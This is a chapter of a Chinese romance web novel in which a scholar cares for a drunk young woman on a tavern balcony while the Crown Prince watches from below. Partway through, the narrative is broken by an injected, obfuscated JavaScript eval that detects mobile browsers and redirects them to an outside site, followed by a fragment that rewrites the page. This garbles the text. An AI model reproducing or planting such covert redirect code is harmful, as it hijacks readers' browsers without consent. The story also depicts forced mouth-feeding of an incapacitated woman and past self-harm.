38. 醉酒

作品:《嫁给死太子还是活状元

    程湍点点头,想拉晏然起来,拉过一只胳膊却根本没拽动,他其实也没敢使力。


    “晏然,起来了。”压低的声音细声细语很是悦耳。


    不过晏然根本没听进去,抽出另一只细胳膊,在桌上挥舞,“酒,我还要酒,杏子酒,再来一瓶。”


    程湍嘴角强忍着带着点笑,趁机拉住晏然身子往他这边带,“不能再喝了,你醉了,晏然。”声音拔高了一些,可惜完全没用,倒是将另外两个姑娘看得呆住。


    “状元郎大人认识我们小晏?那好,将她托付给你了!”素辞又是一个大大的行礼。


    “是!”露滴也跟着行礼。


    不想再与这些小孩子纠缠,程湍俯身将晏然抱起,一手环着晏然的腰,一手将不老实的头按在他肩头上。


    晏然哪会这么听话。她挣扎着,头撞向那厚实的肩头,她又不知道这肩头受了伤。程湍命令所有人封锁他受伤的消息,她还真就没打听到。


    程湍一点好脸色也没有了,但还是强撑着笑意,嘴上是安抚,“我们先回家好不好?你喝多了。”


    “我不要回家!”晏然突然就想起了晏府,一阵抗拒,她还跑出来喝酒了,好像还喝醉了!那父亲会不会更失望了,会不会明日一早就抬着花轿将她扔给别人家?


    她挣扎地太激烈,程湍拍了拍的她的背,往外走,“好,不回家,那去哪?”


    “我就要在这里!我哪也不去!”


    程湍轻捏了捏她后颈,“好,不回去。”说是这样说,面上却冷若冰霜。


    一直盯着他的掌柜害怕极了,这人动作声音和脸色完全相反。


    菩萨抱法,蛇蝎面庞。


    得亏那姑娘有点醉了看不着那人的脸色。


    程湍向掌柜问了楼上的廊间有没有人,能不能上去待会儿,掌柜本想解释,什么廊间需要预订,虽然今天没人订,但是保不齐一会,你们就两人……


    “公子请……”掌柜不想再面对那脸色,他要吓坏了。他觉得如果他不答应,这公子下一瞬就会拆掉他的酒馆。他做酒馆生意,最是识时务了。


    “有醒酒汤吗?来一碗,送上去。”


    程湍抱着晏然往楼上走,最大的厢房就有一个半开放的楼台,可以看到外面,底下就是酒肆所在的街道。


    程湍将晏然放下来,手脚麻利地将外衣脱下来罩在晏然身上,晏然有了片刻自由,抓着栏杆,就往外面探身。


    程湍急忙从晏然身后捞过她,喝醉的晏然腰肢软软的,撞到程湍怀里。


    “老实些,看看外面,醒醒酒我们就回家。”


    “我不要回家,我说了我不要回家!”晏然一拳头打在栏杆上,程湍立马拉着她退了两步。将晏然转过来冲向他,仔细地穿好外衣,系上绳子扣子,“嗯,先不回家。”


    哄着拽着,晏然被大大的外衣限制了手脚,变得很乖。


    “不想回哪里?”程湍揽住她的肩膀,低头问。


    “家。”


    “家在哪?”程湍凝视着那透亮的眼睛。


    “城东晏府。你不是知道吗?”


    程湍突然心情变得很好,点了点头,“那一会儿我们回程府好不好?”


    他看着她。晏然想了想,“好!”接着是很开心的笑,程湍没见过几次这样的笑容,看了好半天,希望这笑容再久一些,但笑容就像水中央荡起的波纹,慢慢地恢复平静。


    孩子又低落起来,长长的睫毛盖住了眼睛,眼皮耷拉着。


    不再得意忘形,程湍问,“为什么不想回晏府啊?”


    “父亲……不要我了。”


    “他要……给我说……亲。”晏然大大地呼出一口气,舌头捋直了说出这话。


    程湍的手忽地一紧,醉得站都站不直的晏然也愣住了。


    “谁?”


    胳膊间的力道也就让晏然清醒了一瞬,她笑嘻嘻地冲着程湍说,“我父亲啊,你不是认识吗!晏守机啊!晏……大人!”


    晏然伸出一根手指,点了点程湍的领子,她正好能够到那里。


    “我问,说亲说给谁。”


    晏然安静了下,抬手高高的摸了摸程湍的面颊,“诶,为什么,看起来很冰啊,怎么摸起来热热的。”


    “说亲说给谁?”程湍拉下她的手,站得更笔直了些,“告诉我,我就给你摸。”


    “不知道。他让我秋猎的时候找找……诶,秋猎,程湍,我可以去秋猎了!我还是……我第一次去!……程湍,你知道吗!据说很好玩……你也会去吗?你看起来就很会打猎的样子!”


    “你好高啊!”晏然回头看了看栏杆,“我想坐到那个上面,你太高了,我够不到。”


    程湍站在原地看着晏然,抱着晏然让她搭到了栏杆上,手没松,环着她的腰,两人贴得很近。


    晏然艰难地睁眼,再飞快地闭上,再慢慢地睁开,已经是又醉又困。


    老板娘上来送醒酒汤,看着两人如胶似漆,顿时被感染,言笑晏晏,“呦,公子,可当心着些,别把娘子掉下去了,喏,醒酒汤,放心,本店做酒馆生意的,醒酒汤绝对对症!”


    老板娘将一小碗醒酒汤放到桌几上,便捂着嘴离开了。


    程湍后手一勾,将醒酒汤端到晏然嘴边,“喝点。”


    晏然很听话地喝了一小口,然后就向后扭身,“不喝,好苦。”


    怎么会?程湍闻了闻,没什么药味,他也试了一口,一点苦味没有,类似梅子汤的味道,他这样不喜苦的人都没尝出苦味。


    “我喝过了,不苦。”


    “他们都是骗……你的,是药……都是苦的。”晏然皱起眉头,摇了摇头,又点了点头。


    “你之前喝过的……”程湍安抚下晏然,晏然转过来看他,他顺了顺晏然后背,“喝过的药,也很苦吗?”


    “嗯!很苦…很苦,你千万…不要生病!吃药很…很很…苦的!”晏然如愿以偿地点了点程湍的脸。


    程湍看着晏然的样子,回想起那些她眼睛都不眨喝药的瞬间,摸了摸晏然额头的碎发,拍了拍背,“好,那我们以后不生病。”


    晏然安静地抱着程湍,不说话了。


    “但是这个得喝,这个不是药,好不好?”


    “不要。”晏然闭着眼睛摇了摇头。


    程湍端起碗喝了一大口,对上晏然的唇。晏然手推了推厚实的肩膀,没推动,腿蹬了几下只是碰到了栏杆,舌头没来得及堵住牙关,就猝不及防地被迫喝了一口不好喝的汤。


    “呜……嗯…”一口还没完,她都要喘不过气了,又进来一口汤,这口汤好不容易咽下去了,头被按住,又来了一口。


    然后就切实地呛到了,晏然涨红了脸,终于被放开,抓着程湍的脖颈开始咳嗽。


    程湍将她披的衣服又拉了拉紧,双臂环着她,轻轻拍着背,“慢点儿……还好吗?”


    程湍擦去她唇角的汤,拂过那柔软的唇。


    晏然眼尾咳出了点泪,挂在眼睫上一闪一闪的,像是睫毛有了透明的羽翼,忽闪忽闪。


    “我不……好。”委屈巴巴地吐出几个字,趴在程湍身上不动弹了。


    两人就这么在栏杆上缓了一会儿,程湍正要抱着晏然下楼回府,就看见一位男子从楼下门口出来,还搀着一个姑娘,好像是晏然的伙伴。


    那姑娘背影看起来醉地不轻,步伐虚浮。男的声音很熟悉。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713954|169946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你现在不检点至此?丛露滴。”


    “你看你现在是个什么样子!”男的松开被姑娘拉着的手,走到一旁。


    姑娘差点摔倒在地上,又踉踉跄跄地去拉男子的手。


    两人纠缠了一会儿,姑娘被男子一把抱起往街边的马车上拎。


    晏然耳边突然有其他声音传来,她好奇地回头,也看到了底下门口的情景。


    “露滴……”她小声喃喃地认人,“诶,她怎么在晃……那人是,哦,是太子,太子来接露滴了…”


    晏然回头看向程湍,“你看到没呀!”


    “嗯。”程湍回了一句。


    “你认识露滴吗?她脸上有小梨涡……”晏然指了指自己的嘴角,程湍看向她的唇角。


    “你看到了吗!你快看!很可爱的!”晏然着急叫程湍看,爪子在程湍肩上蹭了蹭。


    程湍一直盯着晏然看,“嗯,看到了,可爱。”


    晏然忽然就安静了,“我也想要那个梨涡。我母亲……就有两个梨涡。我已经记不太清……但是父亲很喜欢……母亲的梨涡,他心心念念可以有个……梨涡……的孩子,但是我…一个…都没有。”


    程湍看着有些沮丧的小脸,腾出一只手,捏了捏,“没有梨涡也很可爱。”


    两人脸贴得很近,晏然的大眼睛定了定神,“我以为我可以有的,我会刻石头你知道吗?”


    不知道话头为什么又到了石刻上,程湍接住,笑着说,“嗯,很会刻石头。”


    “所以我就试过在脸上刻个梨涡。”


    程湍眼神倏地就变了,唇角收起,凌冽如刀锋,放在晏然脸边的手慢慢握紧成拳,晏然全然不知,自顾自说着话,“本来都有个小坑了,可是后来又长起来了,所以还是……没有梨涡……”


    小脸儿更沮丧了。


    过去的刻刀好像此刻穿越时空划在程湍的心上,又疼,又怒,他的怀抱越收越紧。


    “梨涡没有了,不知道再刻一下会不会……”


    “不行,不可以。”程湍将脸埋进晏然肩颈,“梨涡不重要,我不喜欢。”


    “你是谁?……哦,你是程湍。”晏然醉哈哈地疑惑。


    “嗯,我是程湍。”程湍闭着眼睛深深地呼出一口气,手有些抖,试探道,“我不喜欢,可以吗?要不要……听我的话?”


    晏然扳起来程湍的脑袋,看了一会儿,笑了笑,“嗯……嗯。”


    晏然看了看这张脸,她确实没法拒绝。瑞录也长一样的脸,醉酒的时候跟不知道真的和梦有何区别。


    程湍手指紧紧抓住了披在晏然身上的外袍,骨节泛白,衣服攥成一团。


    楼下的马车边,陈虔将露滴放上了马车,余光注意到楼上的一双人影。陈虔半只脚踩上马车,抬头,还是看了一眼楼上。


    是程湍,抱着一个人,一个姑娘,罩着程湍的外袍正趴在他的肩膀上,只留一个后脑勺。程湍紧紧地抱着。


    陈虔定在那没有动,看着程湍被门匾灯笼映上红光的棱角分明的脸,如鬼魅。


    那是他曾经期待的想看到的愤怒表情。他承认他贵为太子,还是唯一的皇子,不需要将任何同辈放在心上,但是程湍,令他不爽。


    可偏偏,他曾围观了程湍收不了口的榜眼案,他看到程湍连名单都拿出来了,证据确凿,父皇什么都没有处置的时候,程湍依旧没有什么情绪。


    明明他都在气愤,状元郎,一个书生,竟能如此冷血?所以此刻怎么了,惹得状元郎都有点活人气了?


    或许是陈虔立在那里太久,太子府的车夫都不知所措了,站起来问要不要走。


    楼上的程湍终于半合着眼瞥了一眼底下,注意到了陈虔。